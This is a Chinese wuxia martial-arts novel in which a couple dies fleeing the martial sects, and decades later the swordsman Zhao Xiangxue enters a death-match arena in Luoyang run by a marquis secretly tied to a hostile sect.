《琼剑山下》 楔子 寒风瑟瑟,孤月凄凄。夜色笼罩下的山野,无蝉鸣亦无人语,尽是一片漆黑死寂。 山野间,一茅草屋亮起烛火,突然渗出的烛光,刹那间,几乎将整座山野点亮,但也仅仅只是刹那间耳。 草屋内,一男子抱着一女子依着墙,坐在一张草席上。 女子身着花白罗裙,盘灵蛇髻,装翡翠玉簪,饰白玉耳坠,容貌艳丽,举止温雅,年纪估摸着也就二十六、七。 再看男子,年纪估计得有三十六、七,容貌俊朗,身形高壮,墨青长衫加身,发簪普普通通,腰带普普通通,鞋具普普通通,除了身旁的佩剑镶了块红宝石外,再无任何珍贵配饰。 这间茅屋,脏乱无比,满是尘灰、蛛网。一张破桌、一张破床,一张破草席,外加一个破灶,一口破锅,两个破罐,三只破碗,半截蜡烛。东西还挺齐全,只可惜,除了蜡烛,没一样是好的。 烛光之下,再细说两人,女子名叫慕容馨,男子名叫顾云。此刻,慕容馨的花白罗裙满是污泥、血迹,发髻亦有些凌乱,左边耳坠断了一半,挺着大肚,算算日子,已怀孕近八个月了,面色惨白,浑身瘫软乏力,神态憔悴,被身旁顾云紧紧抱住。顾云墨青长衫亦是破破烂烂、血迹斑斑,清晰可见的伤口分外瘆人,有的伤口是新的,而有的伤口已然结疤。 慕容馨气息微弱,低声说道:“顾大哥,我好累,好想睡觉。” 听了此话,顾云温柔答道:“馨儿,有我在,累了就躺下睡会儿吧。” 女子轻轻摇摇头,小声说道:“我不能睡,万一,睡着之后,他们追上来该怎么办?” “我们已经逃得够远了,你就放心睡吧,有我在,他们要是敢追上来,来多少,我杀多少!” 慕容馨拉着顾云衣袖,轻轻的摇了摇头,闭上眼,泪珠悄然落下。 顾云吃力的抬起手,轻轻擦去女子眼泪,温柔说道:“傻瓜,你是我的夫人,我发过誓,只要有我在,就一定会护住你周全!” 两人看着彼此,舒心一笑,眼下,安静的躺在一张破草席上,便是两人从不敢想的奢望。 瑟瑟秋风顺着窗门吹进,蜡烛被吹得胡乱摇曳,烛火与秋风交战数个回合,最终,秋风赢得胜利,蜡烛熄灭,草屋重回死寂。 只听屋外脚步声起,一阵烛光从外面照射进来,一青年人,手执灯笼,慢慢走进。 青年人将屋内烛火重新点燃后,看着顾云,叹息几声,并未讲话。 顾云抬头看了眼青年人,微微一笑:“师弟,你也不肯放过我们吗?” 青年人者,名叫叶述,正是顾云的师弟。 叶述摇摇头:“师兄,谷主待你可不薄,你为何要与师门作对,与天下武林作对!” “我与天下武林作对?可笑!我只想与馨儿归隐山林,过上普通人的生活,了此余生罢了,这也算与天下武林作对?!” “和这个女魔头共度余生?!师兄,你清醒一点儿吧!” “住口!你们张嘴闭嘴就是女魔头,女魔头,我倒是想问问你们,馨儿究竟犯过何罪?你们要唤她女魔头!” “她不是女魔头是什么?难道,你忘了谷主是怎么死的了吗?” “一码归一码!慕容顾造的孽,与馨儿何干!” 叶述看了看面前奄奄一息的慕容馨,毫无怜悯之意,冷哼一声道:“兄长草菅人命,杀人如麻,我不信,这做妹妹的还能是个好人?可笑!” “可笑的是你们!说到底,你们根本不了解馨儿!对她有误解也就罢了,可为何?竟是连半点辩解的权利都不给!凭着莫须有的猜想,就断定馨儿是女魔头,追杀了我们整整七天!这就是所谓的名门正派?!可笑,可笑!” 叶述吼道:“师兄,你醒醒,这个女魔头到底给你下了什么蛊,你清醒一点儿啊!师兄!” 顾云大怒,拔出佩剑,指向那青年人:“叶述,你要是再污蔑我夫人是女魔头,可别怪我不顾同门之谊!” 青年人自嘲一笑,摇了摇头:“咱们一起在凌云谷上求学二十三年!二十三年的同门之谊,就这么不值一提吗!只为了一个女人,你居然将刀剑指向你师弟!” 一声雷响,紧接着,暴雨倾盆,屋外下大雨,屋内则下起小雨。 叶述的位置正好被小雨淋到,他眼眶湿润,也不知是雨还是泪,摇摇头,说道:“我这里有一瓶毒药,乃是山万蛇之剧毒,我跟他们说了,只要慕容馨服下此药,过往恩怨便一笔勾销!” “叶述,你说的什么混账话!这毒喝下去,还能活吗?你不要忘了,馨儿曾经救过你的命!” “师兄,难不成,你以为是我想杀她!你自己看看外面!她能不能活,哪由得了你我!” 男子向外一扫,茅屋外,除了倾盆的暴雨,还密密麻麻站满了人,如果没估错的话,外面包围的江湖人士应有百余人! 当下,男子更怒:“来啊,不过是一群乌合之众耳,我顾云,还怕他们不成!”话罢提起剑便欲起身打斗,但此时他的状态,别说百人,十人,就是一打一,估计也够呛。女子紧紧拽住男子衣袖,眼眶湿润,一个劲的摇着头,哭道:“顾大哥,够了,你为我做的够多了,别再杀人了!” 顾云再也崩不住了,也哭了出来:“馨儿,哪是我要杀他们!是他们要杀我们啊!” 慕容馨摇摇头,对叶述说道:“叶大哥,如果我喝下这瓶药,他们会放过顾大哥的对吗?” 叶述道:“当然,有我在,他们绝不敢动大师兄一根汗毛!”话罢将毒药丢给那女子。 女子接下毒药,微笑着看向身边顾云,这一笑,露出可爱迷人的小酒窝,恰似两人初见时一般,但这次的笑容,再没了初见时的天真与纯粹,更多的,只是无奈与解脱。 “顾大哥,你后悔遇见我吗?” 顾云摇摇头:“我确实有点儿后悔,但不是后悔遇见你,而是后悔在凌云谷求学时,我偷懒了,没能练成师祖的绝世神功,使得你我身险今日之困境。” 女子泪如泉涌,小声说了句:“顾大哥,谢谢你。”话罢,拔开瓶塞,拿起毒药便往嘴里灌去。 叶述长吁一气,面色和缓许多,仿佛是解决了一件极其棘手的事儿一般。 但顾云却急了,立马拿起剑鞘,将女子的手压了下来:“不!我不许!”顾云继续说道:“馨儿,我说过,只要我还活着,决不允许任何人伤害你!” 女子哭喊道:“顾大哥,我们已经被包围了,你救不了我的,兄长他欠下的孽债实在是太多了!我们还不清的!这一天,早该来了!你就让我喝了它,还世人一个公道吧!” “还什么公道!你根本没有错!你兄长也没有!” 女子摇摇头,脸上妆容早已哭花。 男子脸上同样满是泪痕,当下一挥手,将脸上泪痕抹净:“好,馨儿,你既执意求死,那我陪你便是!”话罢,剑鞘一挥,轻轻松松将毒药挑了过来,左手接下,没有半分犹豫,拿起毒药便朝口中灌去,毒药尽数下肚,一滴没剩。 叶述大惊,急步上前想要阻拦,但为时已晚。 “师兄!你糊涂啊!千算万算,竟!” “顾大哥,你这是何苦啊!”慕容馨泪若泉涌,抱着顾云痛哭起来。 服下山万蛇的剧毒,浑身自是苦不堪言,但顾云却并未表露半分苦色,反而是一脸微笑:“馨儿,若有来生,你愿与我过山野老农的平凡生活吗?” 女子一个劲儿的点头,哭喊道:“我愿意,我愿意!” “一破屋、一破床、一破席,足矣!”顾云一边说着,一边吐出血来。 顾云还欲说些什么,但却已然没了力气,说不出话来,只将手放在女子腹部,无比吃力的抚摸着尚未出世的孩子,接着,他闭上了眼,头向一边倒去,再没了生气。 青年男子将手放在他的鼻息处,颤抖的手,再没试出半分呼吸。 “妖女!妖女!若不是你,我师兄何至于此!” 女子毫不理会叶述言语,视线一直注视着她身边的爱人,微微一笑,话音温雅谦逊,一直以来,话音都是温雅谦逊:“顾大哥,我来陪你了。”话罢,举剑自刎…… 与此同时,外面包围的武林高手纷纷涌进草屋,狭小的草屋,竟汇集了大半武林精英,凌云谷:叶述、顾云,豫蛇教:慧恩师太,白马寺:祈野方丈,剑阁:章云阁主,百药宗:杜悬宗主,洛川大侠:洛择怀,听风阁主:狐肃,寒岩阁主:王绾…… 中原各派高手加江湖散修,来了近百人!如此大动干戈,却只为杀两个重伤之人,可笑,真是可笑! 第一章 重回洛阳 四十三年后: 洛阳地下集市,铁丝缠绕成一个巨型“鸟笼”,两壮士分别拿着大刀长剑在笼中以命相搏,两人缠斗近三十回合,始终未分胜负,突然,刀客小有失误,被剑客抓住破绽,横剑挑飞长刀。刀客大惊,慌忙向后退去,退至笼边,竟扑通一声跪下! “我投降!我投降!”武场周围的看客一片唏嘘,皆嘲笑刀客胆小惜命。 然而,比赛并没有因刀客声泪俱下的求饶而停止,剑客提起长剑,一步一步走向手无寸铁的刀客,毫不留情,只一剑,便割破其咽喉! 周围看客皆雀跃高呼,为剑客喝彩。很明显,此处乃是皇城中的法外之地,在这武场之上,杀掉对手是不会被官府追究的,相反,还会得到众人的尊敬。 既是法外之地,那这幕后之人自不简单,据说,乃是当朝权贵,育阳侯:曹节。 周围看客亦非凡人,皆是达官显贵、富甲豪绅,他们相聚于此,一边观看武士打斗,一边招妓嫖赌,所赌之物,便是铁笼中相斗的武士。 武士自四方而来,据说,赢一场可得黄金十两!若是连胜二十场,还能获得育阳侯引荐,入朝拜将!厚利之下,自是不乏勇夫。 刚才那位剑客名叫李旭,兖州人,自言是飞将军李广之后,他已在此武场连胜了十九场,再赢一场,就该拜将入朝拜将了,不过,武场成立八年了,连胜十九场者,多达六十七人,连胜二十场的,却是一个没有。 第二十场,武士将与赌场最强打手比试,晋阳人士,徐维,善御盾。 次日: “还以为那个李旭有多厉害呢,没想到,也只是个短命鬼罢了。” “还行吧,毕竟对手可是圣盾徐维啊,李老虎毕竟还撑了二十多个回合好吧,你看上次那个杜清,比赛才开始四、五回合,便丢了小命。” “杜四合?我早就说过他不是盾哥的对手,要不然曹公也不敢一赔三十好吧。” “哎,这次一赔十,你买的谁赢?” “那还用说,当然买盾哥啊。虽说赢得少,但稳赚不赔啊。” “我去,我买了李老虎的,还以为能一本万利呢!这下好了,河西案子贪的银饷全赔进去了!” “你傻啊,这稳赚不赔的注你不买,买李旭干嘛,预赛买买还行,决赛不买盾哥,就是他娘的送钱。” “就是,不过这场武打得可真是精彩,李旭半个脸都被徐维拍糊了,真狠!” …… 地下武场最后一场,以徐维击败李旭告终,看客虽是意犹未尽,但夜色已深,已是闭馆之时,众人陆续离去。 最后一名看客走出,杂役们清理好武场正要闭馆,突然,一名刀客闯入武场中。 “听说,你们这里连胜二十场,能得育阳侯引荐,拜将入朝!” 杂役上前笑语道:“这位武士,天色已暗,有什么事,明天再说吧。” 刀客默不作声,并没有要离开的意思。 杂役见刀客不答,便欲将刀客推出武场去。 哪知,刚刚近身,还没动手,刀客竟先他一步,大刀一挥,直接将其拍飞!好在刀未出鞘,那人只是晕了,并未受致命伤。 其余杂役见状皆拔刀围住那刀客,双方焦灼起来,但谁也没有动手,突然一声猫叫传来,杂役受惊,率先动了手,刀客提刀应对四方。 唰唰几式,十几名杂役竟无一人能挡,皆被刀鞘击倒在地。 “住手。”屋内一人厉声喝止。 “武场开门,来者皆客,报个名而已,让他进来。” 为首杂役踉跄应允:“诺。” 细看刀客,白净小生,五官端正,刚烈中又带着些许温雅。 “叫什么名字?” “昭相雪。” “哪个昭?” “昭告天下的昭,真相大白的相,报仇雪恨的雪。” 主管抬头仔细打量了刀客一番,笑道:“这名起得很有特性嘛,哪儿的人?” “冀州甘陵。” “用的什么兵器?” “刀。” “给我看看。” 长刀出鞘,刀上有九个特制铁环,哐当作响,竟是江湖名刀:九劫刀!!! 昭相雪报完名后,收刀走出武场,朝一客栈走去,呼啸秋风,搅得密林沙沙作响,行至一僻静处,正巧风停,昭相雪察觉到异样,身后似乎有人! “夜黑风高,难辨善恶,附行十步,官匪皆杀!”话罢,昭相雪拂袖而去,不料,跟踪之人并未撤离,反而越跟越近! 十步之后,一如先前所言,昭相雪回身便是一刀,九个铁环在寒风中哐当急响,可见昭相雪出刀的速度非常快。 然而,追击之人速度更快,立刻提剑挡下,刀剑相斗二十余合,互不退让,一时间,竟难分伯仲! 月黑风高,久战不利,两人同时收起刀剑,各退一步。细看那人,一席青色长衫,月色之下,颇有仙气。 男子一脸和善,收起长剑,介绍起自己来:“少侠误会了,在下乃凌云谷孤殇长老座下弟子:枯恂,并非歹人。” 昭相雪见状亦收起九劫刀:“在下冀州人士昭相雪,即是误会,还请阁下莫再跟随,月黑风高,刀剑无眼。” 枯恂笑了笑:“实不相瞒,在下从地下武场起,便一直敛息跟在少侠身后,希望,能问少侠一件事。” 昭相雪不禁心头一颤,本以为这枯恂是半路杀出的,不料竟跟了自己这么久,若真是歹人,半路下黑手,只怕自己早已魂归地府了,当下,虽是心惊,但还是佯装淡定道:“阁下要问何事?” “昭少侠,那我就直说了,你这把九劫刀,应该不属于你的吧?你从何而来?” “对不起,无可奉告。” “你刚才使的那套刀法,是《洛川刀诀》?” “无可奉告。” “十三年前,是你在益州杀了洛川庄主洛寻天?” “不是!” “那你怎会有他的佩刀,他的刀诀!” 昭相雪一脸怒火,不再纠缠,提起九劫刀转身离去。 枯恂淡淡一笑:“昭相雪,我们还会再见面的!”话罢,亦转身离开。 第二章 地下武场 “比武开始,生死有命,富贵在天!武场之内,概不允许投降!获胜规则只有一条,全力以赴,杀死对手!” “今晚第一场武试,凉州陈现对战司隶刘群,陈现此前已连胜八场,刘群连胜四场,本场武试的赔率为一赔一,请各位看客提前下注,武试将于半个时辰后进行。” “肯定压陈猴儿啊,牛头空有蛮力,成不了气候。” “狗屁,就陈现那小身板,刘哥两拳就能把他打翻。” “就是,武场屁大点儿地,陈猴子再灵活,也翻不了天!” “谁说的,那赵康不比刘群壮?陈猴子不是把他耍得团团转嘛!” “呸,赵猪头能和我刘哥比?赵康肥头大耳的,身上的肉全是吃出来的肥肉,被耍了很正常,我刘哥身上的肉可不是吃出来的,那可是实打实练出来的。” “你怎么知道是练出来的,你又没亲眼见过!” “我就是知道,我就是亲眼见过,咋的!” “咋的,我他娘的抽死你,咋的!” …… 看客席吵着吵着,竟扭打起来。 几个壮汉闻见动静,立马赶来将闹事之人分开,高声呵斥道:“育阳侯的场子也敢闹?怎么的?要不把你们带到后院去瞧瞧。” “邢大人息怒,小人知错了,知错了。”几个闹事之人立马怂了下来,乖巧坐下。 半个时辰后,两位武士进入铁笼中,陈现身长六尺,瘦骨嶙峋,难怪看客们给他取了个陈猴子的外号,反观刘群,身长八尺,肌肉发达,强壮若牛,扁平鼻梁,瞪着一双牛眼,一脸凶像。 比武开始,陈现并不着急进攻,持短刀与刘群周旋着,刘群持大刀,屹立在武场中央,发起了两次佯攻,皆被陈现轻松避开。 “牛头,干掉他,撕了那只臭猴子!” “撕了他,撕了他!” …… 看客的欢呼,刘群略微有些分神,陈现抓住时机,急速闪至刘群左侧,全力冲了过去,刘群大惊,赶紧回身格挡,此时陈现已冲至身前,刘群横起刀,正好可以挡下他的进攻。 然而,陈现早已料到刘群回防,他并未进攻,而是俯下身,径直从刘群胯下冲过,起身一刀,正中刘群背部。一道血口瞬间崩开,刘群立马往前跑了两步,拉开距离。 陈现笑了笑,伸起舌头舔了舔刀上流下的鲜血。 “打得好!捅死他,猴哥” “捅死他!把牛头捅成猪头!” …… 背上那一刀,彻底激怒了刘群,刘群将大刀移至左手,右手在腰间摸了摸,竟取出一条长鞭来。 长鞭张开三响,陈现大惊,没想到这货居然会使用长鞭! 没等陈现想好对策,刘群张鞭一击,陈现应声而嚎,脚下被抽出一条血口来,接着是第二鞭、第三鞭、第四鞭,一共抽了八鞭,鞭无虚发,皆中其身,看客皆知刘群刀法卓绝,哪成想,这厮的鞭法竟更甚刀功! 当下八鞭加身,陈现浑身血痕,已然昏死过去,刘群提起大刀,缓步走向陈现…… “住手!” 看台之上,竟有一名观众高声大喊,以图制止杀戮,姓昭,名相雪。 刘群不屑一笑,并不理会,提刀径直刺入陈现心口。 昭相雪大怒,提刀跳下看台,竟欲找刘群理论! 几名壮汉见此情形,立马围来,没等他们插手,跳下看台的昭相雪已被枯恂先行拉出武场。 两人离了武场,枯恂问道:“育阳侯的场子你也敢砸,刚才若不是我拦你,你欲作甚?” “那个叫刘群的草菅人命,当然是抓他见官。” “草菅人命?武斗之人,上场前皆签过生死状,生死有命富贵在天。” 昭相雪一脸茫然:“生死状?我可从没听说过生死状,朝廷的法律应该也不会认可这生死状吧!” “宦官当政,不认也得认,地下武场,即分高下,也决生死。你昨天不是报了名嘛,规则你应该比我清楚啊!” “我昨晚才到,我还以为,比武只是点到为止。” 枯恂大笑道:“怎么可能点到为止,那么多达官显贵,富甲豪绅聚赌于此,点到为止有何看头?” “不过,说到底,也怪不得武场草菅人命,生死状全是自愿签的,赢一场赏黄金十两,有多大的收益,便有多大的风险。既为钱财赌上命,横死武场亦是运。” “我只想赢,可不想伤害他人性命。” 枯恂笑了笑:“昨晚,你大闹武场,我还以为你是个蛮横无理的莽夫,今日一见,你倒是个热心肠的雅士。” “人不犯我,我不犯人,为了十两黄金便要置人于死地,此番暴行,有识之士皆当唾之。” 枯恂点点头:“你只是报了个名,他们若是传你比武,你大可以拒绝他们。” 昭相雪摇了摇头,转身离去:“今日,谢谢你拦我。” “不客气,哎,对了,你和洛寻天大侠,到底是何关系啊?” 昭相雪停下脚步,楞了两秒,欲言又止。 烈阳高照,昭相雪穿过繁华的闹市,停在街角一处府邸,府门之上写着两个大字:赵府,府邸的主人是一个叫赵居的宦官。 穿过漫长岁月,来到时光起点,这里,曾是陈府,乃是太尉陈蕃的故居,当时,往来皆是高洁雅士,大家聚于此处高谈阔论,商量的皆是如何振兴国家、扫除奸邪、造福万民。而现在,宦官当道,贪官污吏聚于此处淫歌艳曲,商量的皆是如何贪污受贿、残害忠良、压榨百姓。 昭相雪靠在角落,独自喝着闷酒,盯着那座府邸看了一下午,直到夜幕降临,才抽身离去。路上,他买了块饼,径直向地下武场走去。今天上午,武场的人已经来客栈找过他,签下生死状,今晚,他该登台了。 第三章 崭露头角 地下武场: “今晚第一场武试,荆州蔡权对战幽州公孙祜,蔡权此前已连胜五场,公孙祜连胜三场,本场武试的赔率为一赔一,请各位看客提前下注,武试将于半个时辰后进行。” “蔡权!蔡权!”“公孙祜!公孙祜!” …… “今晚第四场武试,司隶刘群对战冀州昭相雪,刘群此前已连胜五场,昭相雪首战,本场武试的赔率为三赔一,请各位看客提前下注,武试将于半个时辰后进行。” “首战便打老牛,这不找死嘛?” “这昭相雪何方神圣啊,首战就挑战老牛?” “没戏没戏!摆明了送钱,我压刘群,一千两!” “我也压老牛!” “昭相雪既敢签下生死状,必然不凡,压一赔三,我压他一百两,另外,老牛,我压一千两!哈哈,那一百两就当给那位找死老弟买棺材吧。” “你可真是钱多,我只压老牛,五百两!” …… 枯恂一脸惊讶,问道:“你真签了生死状?” 昭相雪点点头。 “小心他的长鞭,可别让他占了先机。” 昭相雪并未回应,起身走入武场中。 铁笼之中,昭相雪粗麻布衣,九劫刀紧握手中,盯着对面的刘群。 刘群白了昭相雪一眼,刀在鞘中,鞭别腰间,浑身轻松,显然,他并未把昭相雪当回事儿。 片刻后,主场人站起发令:“生死有命,富贵在天,谁能在武场上杀死对手,谁便是胜者!武试开始!” 刘群缓缓抽出长刀,看着昭相雪,不屑一笑,举起刀便向他砍来。 两柄大刀触在一起,哐当乱响,交伐三十余合,刘群一直占据着上风,但诡异的是,他始终未能胜得半招,战况一直焦灼着。 “这就是你说的绝世高手?连个愣头青都打不过。”枯恂身旁,一女子说道。 女子青裙玉簪、灵巧秀丽,双眸清澈明亮、宛如星河,一颦一簇皆是仙气。 “他装的,前晚我与他交过招,刀法精绝,大师兄都未必能敌。” “没这么夸张吧。”女子抿嘴一笑,随地捡起两块碎石,掷向铁笼中。 两块碎石一前一后,恰好卡住昭相雪进退之路,此时刘群一刀挥来,昭相雪却是进退两难! 虽是难,但还是得退,不退得挨刀啊!昭相雪横刀格挡,仰后退下,脚踩碎石,一时失了平衡,险些跌倒。 刘群见了破绽,长刀再起,凌空劈来!昭相雪一边调整好重心,一边横起九劫刀,全力格挡,只听一声巨响,九劫刀毫发无损,刘群的长刀却断做两半! 事已至此,昭相雪也懒得再纠缠了,巧施刀法,只一合,便击得刘群口吐鲜血,倒地不起。 台上看客竟皆骇然,三十多个回合的交伐,刘群一直占据上风,为何短短数息内,刘群便突然暴毙,这也太扯了。 “昭相雪使诈,他用毒了!” “对,他用毒了,这局不算!” “刘群的刀被他动了手脚,有诈!” …… 比赛之前,大部分人豪掷千银,买刘群获胜,如今,刘群输了,他们哪肯乖乖交钱,纷纷叫嚷着有诈。 枯恂笑道:“如何,我就说他不是凡人吧。” “刀好而已,若是同样的刀,死的该是他了。” “若是同样的刀,那他又不会硬接了,你帮我盯会儿,我先去取钱了。” “取什么钱?难不成你也赌了?” “当然,这赚钱的买卖,不押白不押。” “好啊,你居然敢赌博,我回去就告诉大师兄。” “二八分啦!” “明天抽空再跟孤师叔提提。” “三七好吧,三七!” “这事儿可不小,还得写信告知谷主才对。” “四六!四六!你总不至于要五五分吧!” “哎,这可是你说的,就五五分!武场你自己盯,走了。”女子嫣然一笑,起身离去。 “搞什么?把我当究极产蜜王?不帮我采蜜,还老惦记我的蜂糖,小师妹,你这也太无情了吧。” “监视武场本来就是师叔交给你的任务,加油啊,别偷懒!” 女子出了武场,行了两三步,身后传来一男子声音: “姑娘留步,咱俩无冤无仇,武场之上,何故下此黑手。”说话者,乃是昭相雪 女子回过头,笑了笑,并不作答,轻功一施,悄然离去。 昭相雪也不迟疑,背起九劫刀,快步追了上去。 …… 才追三、五里,昭相雪便被女子甩掉了,没办法,轻功确实其软肋,追不上很正常,追上了才奇怪。 昭相雪回过头,一男子持剑立于身后,竟是枯恂。 “昭相雪,想不到你还是个采花淫贼啊,深更半夜的,追着一个弱女子,跑到这荒山野岭,莫不是欲行禽兽之事。” “枯大侠误会了,先前在武场之内,那女子曾想暗杀我。” “哦?你们之间结过冤仇?”枯恂明知故问,一脸无辜。 “这事,我正想问你呢,武场看台之上,你与她谈笑风生,她暗算我时,你就在她身旁吧。” 昭相雪反将一军,枯恂大笑起来:“误会误会,昭少侠,她是我小师妹,武场内,她只是想试试你的功力,两块碎石,开个玩笑罢了,说是暗杀,言重了,言重了!” “若是在铁笼之外,天高地阔,飞镖暗箭我都可当是玩笑,不过,铁笼之中,场地狭小,开这种玩笑,不妥吧。” 枯恂默思片刻,点点头:“确实不妥,我替她向少侠赔罪了。” “好,跟我来。” “啊?” “啊什么啊,你不是说要代她赔罪吗?跟我来。”昭相雪笑了笑,拐进旁边一片密林里。 枯恂一脸懵逼,但也跟了上去。 第四章 曹府大宴(上) 枯恂跟着昭相雪走进密林中,四具尸体躺在地上,仔细一看,全是今晚武试落败者。 昭相雪将地上的刘群扶起,在他背部竖指点了两下,刘群竟起死回生,吐出淤血来。 枯恂大惊,拔出利剑指向昭相雪:“起死回生?难道,你会青茯秘术?你是魔教人!” 昭相雪并不理会,取出纱布包扎起刘群伤口:“什么起死回生,我可没那么神!不过是先前点了他的死穴,让他陷入假死状态,现在帮他解了穴罢了。” 枯恂思虑片刻,收起长剑,蹲下身来,帮忙包扎:“想不到,你还精通点穴之术?” “精通谈不上,略知一二罢了。” “枯大侠,我初入洛阳,人生地不熟,你帮我找个大夫,还请务必救好他。”昭相雪一边说着,一边递给枯恂五两黄金。 “昭少侠,难不成在你眼里,我是个贪图钱财的鼠辈?” 昭相雪领会其意,却仍将黄金奉上:“枯兄误会了,这钱是给大夫的。” 枯恂笑了笑,取了二两黄金:“好了好了,二两黄金足以治病,剩下的,你就留做盘缠吧,是非之地,还是别久留的好,咱们先撤吧。” 两人扶着刘群,离开了密林。 “哎,昭兄,你费尽心机赢这一局,即不为钱财,也不好杀戮,你到底是为了什么?” “枯兄,为何你每次都有那么多奇怪的问题要问?” “随便问问罢了。” “随便问问?那我也随便问问好了,枯兄,你和洛寻天什么关系,你为何如此在意九劫刀,为何一直监视曹节的地下武场。” “将我军?昭兄,真有你的,好了好了,我不问你事,你也别问我事,要想知道答案,咱们,各凭各的本事吧!” 行至一寺,两人停下脚步。 “枯恂,谢了,我想,今日一别后,咱两估计不会再见了吧,告辞。”昭相雪拜谢后,转身回走,往客栈去了。 枯恂听罢大笑起来:“那可未必,我听说,两周后,曹节会在府上举办宴会,达官显贵、富贾豪绅、武场获胜侠士皆在受邀之列。昭少侠,咱们,曹府见!”话罢,背着刘群,进了白马寺。 昭相雪面色凝重,自语道:“凌云谷的去曹府干嘛?难不成,他们也与曹节有仇?” 两周后: 武场密室之中,摇曳烛光之下,一名武士与一位老者窃窃私语着,老者满年皱纹、斑点,衣着华贵,乃当朝育阳侯,曹节。武士身高八尺,皮肤黝黑,身形魁梧高大,乃武场最强打手,徐维。 曹节:“算算日子,据御守使失踪,该有十三年了吧。” 徐维点点头:“武场斗士南来北往,各方消息堆砌如山,然而,却始终没有御守使的消息。” “那,可有叶述的消息?” 徐维摇了摇头。 “十四年前,义父在并州,遭那叶述毒手,死于非命,如今,御守使下落不明,八成,也与那叶述有关。” 徐维:“以御守使的实力,绝不可能无缘无故失踪,放眼整个中原武林,能与御守使交手的,只有他叶述一人。” 曹节不屑道:“话说回来,若是御守使大人决心隐退,没他的消息,倒也正常。” 徐维:“御守使大人想要归隐,咱们这些晚辈自是不敢插手,不过,凌云谷的叶老,已入化境,若是御守使大人避世不出,咱们魅影教,可没人是他对手。” 曹节冷冷一笑:“那倒未必,教主破关已在须臾之间,叶述不过病体残躯耳,没必要担心,御守使老了,他想避世,就让他避好了。” “武场可以关了,收拾收拾,该回乌桓了。” “咱们蛰伏中原十三载,武场的情报网好不容易搭好,此时撤退,岂不前功尽弃?这是钦铉长老的意思?”(钦铉,魅影教大长老,教主闭关,由他代理教主处理教中事务) 曹节站起身来,轻轻拍了拍徐维肩膀:“徐维,此事怪不得别人,是咱们自己办事不利。”话罢,曹节叹息两声,离开密室。 曹节走后,徐维闭目静坐,自省其身,烛光之下,又一老者探入密室。 “别发愣了,收拾收拾,赶紧把这武场关了。” 徐维起身作揖道:“鬼岐前辈。” 老人教名鬼岐,一身乌紫长袍,年纪估摸着将近七旬,背负一剑,颇有世外高人之姿,乃魅影教左护法。 “眼下,教主闭关,钦铉代职,右使潜入朝堂,如今已是权倾朝野,正是搅乱中原的好时节,此时退出,岂不自毁前程?钦铉长老一把年纪了,远在乌桓,瞎指挥什么!” 鬼岐笑了笑:“这不是钦铉的意思,是我的意思。树大招风,盛极必衰,凌云谷的人已经盯上这家武场了,你们若再待下去,只会全盘尽毁。” “凌云谷?不会吧,属下办事可一直是小心翼翼啊!再说了,此时撤出中原,不也是全盘尽毁吗?” “那可未必,你只管照做就是,明日晚宴前,务必关掉武场,最好放把火,该烧的,都烧了。” “是。” 次日酉时、曹府晚宴: 大厅内,密密麻麻坐了二十来桌,宦官、豪绅、富甲、军将,一桌算十人,眼下,也有两百多了。桌上山珍海味自是不在话下,各桌皆陪有十多名美人,她们端着美酒,随时准备为宾客添酒宽衣。此外,大厅中央,还有二十名舞娘翩翩起舞,她们身姿轻盈、容貌俏丽,比起妃嫔,亦不逊色!厅外亦有席位,宴请之对象,皆是武场侠客,凡参加地下武场比武获胜者,皆在受邀之列。府院之外,依依停放了近三十顶轿子,这些个轿子材质上乘,皆镶金带玉,尽是一片奢靡之景!估摸着,起码还有一个时辰才天黑,但曹府内外却早已点满了蜡烛,数百名官兵手执利剑分布在府院各个角落,随时准备将扰乱宴席的逆贼乱剑刺死! 两名难民见曹府大宴宾客,也是饿慌了,竟端着碗筷来此处讨饭! “行行好吧,我们已经三天没吃过饭了!” “滚!臭乞丐,曹府可不是你讨饭的地方!快滚!” 难民仍不离去,抓着侍卫的衣服,一个劲儿的哀求着,其中一位难民更是直接跪了下来! 然而,侍卫却没有半分怜悯之意,提起剑,径直刺向那跪下的难民,千钧一发之际,一人拉开难民,巧妙避开侍卫攻击,看模样,是个四十来岁的中年人,墨青长衫,背着一把长剑。 大厅内,一太监凑近曹节耳边低声说道:“大人,外面来了个御境高手。” 曹节举起茶杯,细细品了品:“有趣,小心盯着,别让他搅局便是。” 第五章 曹府大宴(下) 那剑客拉开难民后,劝解道:“今日育阳侯宴请四方宾客,我看,还是不要见血的好。” 另一名侍卫亦笑着拉开同伴:“就是就是,这难民又没犯法,算了算了。” 那侍卫不依不饶道:“算个屁,大人有令,今日谁敢闹事,就地正法!若不杀了他两,死的便是咱两!” “哪儿有那么严重,讨个饭哪能算是闹事,好了好了,我把他们赶走就是!”那侍卫一边说着,一边给了几个铜板,打发难民离开。 难民接过铜板,赶紧磕头退去。 …… 很快,晚宴开始,伶人奏乐,媚娘献舞,歌姬解带,侍女宽衣。曹府之内宛若人间仙境!纸醉金迷,好不快活!外厅,一少年安静坐着,面前饭菜仿若新上,一口未动,眼下,他正密切注视着内厅曹节动向,少年姓昭、名相雪。 曹节一把年纪了,还满桌敬酒,来者不拒,杯必饮,饮必尽,酒量恐怖如斯,然而,没过多久,便泄了气,呕吐不止,浑身难受,最终,竟昏迷过去,让人抬回卧房,宴会亦提前结束。 昭相雪乘着侍卫不注意,闪身躲进一偏房之中,月光之下,偏房所列皆是书籍笔墨,看样子,该是曹节书房。昭相雪灵机一动,小心翻寻着,欲搜出曹节作奸犯科之罪证,却听见一阵脚步声从远处传来,且愈来愈近,昭相雪不敢大意,翻身跳置房梁之上。 脚步声停在房外,有两人在外面窸窸窣窣的交谈着什么,片刻后,房门被人推开,一人将蜡烛点燃,烛光之下,昭相雪看清两人面孔,其中一个,是曹节,只见他与人交谈时轻松自在,一点儿没有晚宴时醉酒昏迷的痛苦神情,另一人,昭相雪还是第一次见到——鬼岐。 “鬼俈,我得警告你,琼剑山的秘密,可不是我等该打探的。” 曹节笑了笑:“无冥祖师留下的宝藏,我等不查,难不成,便宜给他们中原武林?据我所知,凌云谷的人可一直在调查琼剑山。” 鬼岐冷哼一声:“若不是你们的人私自前往琼剑山,凌云谷的人,也不会顺藤摸瓜,找到那地下武场!” 曹节:“找到又如何,叶述都归隐江湖十多年了,现在掌舵的谷月清,不过是个无名鼠辈,我真是不明白,咱们为何要躲躲藏藏的,真刀真枪干一仗不行吗?” “谷月清都无名鼠辈了,那咱们,岂不是篱下蝼蚁?” “鬼岐前辈,我没这个意思。我的意思是说,咱们应该多派些人手,把琼剑山搜个底朝天,找出无冥祖师留下的绝世武学,统一江湖岂不指日可待!” 